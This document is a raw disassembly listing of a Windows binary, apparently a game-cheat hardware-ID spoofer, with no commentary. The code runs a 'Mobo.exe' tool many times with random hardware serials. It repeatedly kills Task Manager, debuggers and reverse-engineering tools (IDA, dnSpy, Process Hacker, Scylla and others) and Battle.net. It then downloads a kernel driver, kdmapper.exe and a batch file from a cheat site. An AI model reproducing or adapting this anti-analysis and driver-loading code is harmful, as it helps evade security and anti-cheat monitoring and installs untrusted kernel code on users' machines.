lea rcx, [rsp + 0x50d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x50d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x50d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CAH__random___random___random_
lea rcx, [rsp + 0x50f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x50f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x50f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__COH__random___random___random_
lea rcx, [rsp + 0x5110]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5110]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5110]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CHH__random___random___random_
lea rcx, [rsp + 0x5130]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5130]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5130]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CPCH__random___random___random_
lea rcx, [rsp + 0x5150]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5150]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5150]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSKH__random___random___random_
lea rcx, [rsp + 0x5170]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5170]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5170]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SU__random___random___random_
lea rcx, [rsp + 0x5190]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5190]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5190]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ALL__random___random___random_
lea rcx, [rsp + 0x51b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x51b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x51b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SS__random___random___random_
lea rcx, [rsp + 0x51d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x51d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x51d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BS__random___random___random_
lea rcx, [rsp + 0x51f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x51f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x51f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SV__random___random___random_
lea rcx, [rsp + 0x5210]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5210]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5210]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BV__random___random___random_
lea rcx, [rsp + 0x5230]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5230]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5230]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BS__random___random___random_
lea rcx, [rsp + 0x5250]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5250]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5250]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CS__random___random___random_
lea rcx, [rsp + 0x5270]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5270]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5270]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PSN__random___random___random_
lea rcx, [rsp + 0x5290]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5290]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5290]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PAT__random___random___random_
lea rcx, [rsp + 0x52b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x52b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x52b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PPN__random___random___random_
lea rcx, [rsp + 0x52d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x52d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x52d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__IV__random___random___random_
lea rcx, [rsp + 0x52f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x52f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x52f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SM__random___random___random_
lea rcx, [rsp + 0x5310]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5310]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5310]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SP__random___random___random_
lea rcx, [rsp + 0x5330]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5330]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5330]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SF__random___random___random_
lea rcx, [rsp + 0x5350]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5350]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5350]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BM__random___random___random_
lea rcx, [rsp + 0x5370]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5370]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5370]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BP__random___random___random_
lea rcx, [rsp + 0x5390]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5390]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5390]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BT__random___random___random_
lea rcx, [rsp + 0x53b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x53b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x53b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BLC__random___random___random_
lea rcx, [rsp + 0x53d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x53d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x53d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CM__random___random___random_
lea rcx, [rsp + 0x53f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x53f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x53f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CT__random___random___random_
lea rcx, [rsp + 0x5410]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5410]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5410]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CV__random___random___random_
lea rcx, [rsp + 0x5430]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5430]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5430]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CA__random___random___random_
lea rcx, [rsp + 0x5450]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5450]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5450]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CO__random___random___random_
lea rcx, [rsp + 0x5470]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5470]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5470]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSK__random___random___random_
lea rcx, [rsp + 0x5490]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5490]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5490]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SK__random___random___random_
lea rcx, [rsp + 0x54b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x54b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x54b0]
call fcn.14005d8e0
lea rdx, [0x140395420]
lea rcx, [rsp + 0x54d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x54d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x54d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SU__random___random___random_
lea rcx, [rsp + 0x54f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x54f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x54f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__GAN__random___random___random_
lea rcx, [rsp + 0x5510]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5510]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5510]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PPIN__random___random___random_
lea rcx, [rsp + 0x5530]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5530]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5530]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__EAX__random___random___random_
lea rcx, [rsp + 0x5550]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5550]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5550]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__EBX__random___random___random_
lea rcx, [rsp + 0x5570]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5570]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5570]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ECX__random___random___random_
lea rcx, [rsp + 0x5590]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5590]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5590]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__EDX__random___random___random_
lea rcx, [rsp + 0x55b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x55b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x55b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CIMV2__random___random___random_
lea rcx, [rsp + 0x55d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x55d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x55d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__WMI__random___random___random_
lea rcx, [rsp + 0x55f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x55f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x55f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__WMIC__random___random___random_
lea rcx, [rsp + 0x5610]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5610]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5610]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BMH__random___random___random_
lea rcx, [rsp + 0x5630]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5630]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5630]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BPH__random___random___random_
lea rcx, [rsp + 0x5650]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5650]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5650]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BVH__random___random___random_
lea rcx, [rsp + 0x5670]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5670]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5670]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BSH__random___random___random_
lea rcx, [rsp + 0x5690]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5690]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5690]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BTH__random___random___random_
lea rcx, [rsp + 0x56b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x56b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x56b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BLCH__random___random___random_
lea rcx, [rsp + 0x56d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x56d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x56d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__IVN__random___random___random_
lea rcx, [rsp + 0x56f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x56f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x56f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ID__random___random___random_
lea rcx, [rsp + 0x5710]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5710]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5710]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CH__random___random___random_
lea rcx, [rsp + 0x5730]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5730]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5730]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CPC__random___random___random_
lea rcx, [rsp + 0x5750]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5750]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5750]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CMH__random___random___random_
lea rcx, [rsp + 0x5770]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5770]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5770]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CTH__random___random___random_
lea rcx, [rsp + 0x5790]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5790]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5790]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CVH__random___random___random_
lea rcx, [rsp + 0x57b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x57b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x57b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSH__random___random___random_
lea rcx, [rsp + 0x57d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x57d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x57d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CAH__random___random___random_
lea rcx, [rsp + 0x57f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x57f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x57f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__COH__random___random___random_
lea rcx, [rsp + 0x5810]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5810]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5810]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CHH__random___random___random_
lea rcx, [rsp + 0x5830]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5830]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5830]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CPCH__random___random___random_
lea rcx, [rsp + 0x5850]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5850]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5850]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSKH__random___random___random_
lea rcx, [rsp + 0x5870]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5870]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5870]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SU__random___random___random_
lea rcx, [rsp + 0x5890]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x5890]
call fcn.14006c020
nop
lea rcx, [rsp + 0x5890]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ALL__random___random___random_
lea rcx, [rsp + 0x58b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x58b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x58b0]
call fcn.14005d8e0
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_DISK1.sys
lea rcx, [rsp + 0xac70]
call fcn.14005d9d0
nop
lea rdx, [0x140392c30]
lea rcx, [rsp + 0xac50]
call fcn.14005d9d0
nop
lea rdx, str.http:__nxtg3ncheats.com_download_privatenxtv2spoofingdrivers_fixspooferv2namesss_asap_kdmapper.exe
lea rcx, [rsp + 0xac30]
call fcn.14005d9d0
nop
lea rdx, [0x1403925a8]
lea rcx, [rsp + 0xac10]
call fcn.14005d9d0
nop
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_DriverMapper1.bat
lea rcx, [rsp + 0xabf0]
call fcn.14005d9d0
nop
lea rdx, [0x140392bf0]
lea rcx, [rsp + 0xabd0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xac50]
call fcn.14005d8d0
mov qword [rsp + 0x1168], rax
lea rcx, [rsp + 0xac70]
call fcn.14005d8d0
mov qword [rsp + 0x1170], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1168]
mov rdx, qword [rsp + 0x1170]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0xac10]
call fcn.14005d8d0
mov qword [rsp + 0x1178], rax
lea rcx, [rsp + 0xac30]
call fcn.14005d8d0
mov qword [rsp + 0x1180], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1178]
mov rdx, qword [rsp + 0x1180]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0xabd0]
call fcn.14005d8d0
mov qword [rsp + 0x1188], rax
lea rcx, [rsp + 0xabf0]
call fcn.14005d8d0
mov qword [rsp + 0x1190], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1188]
mov rdx, qword [rsp + 0x1190]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
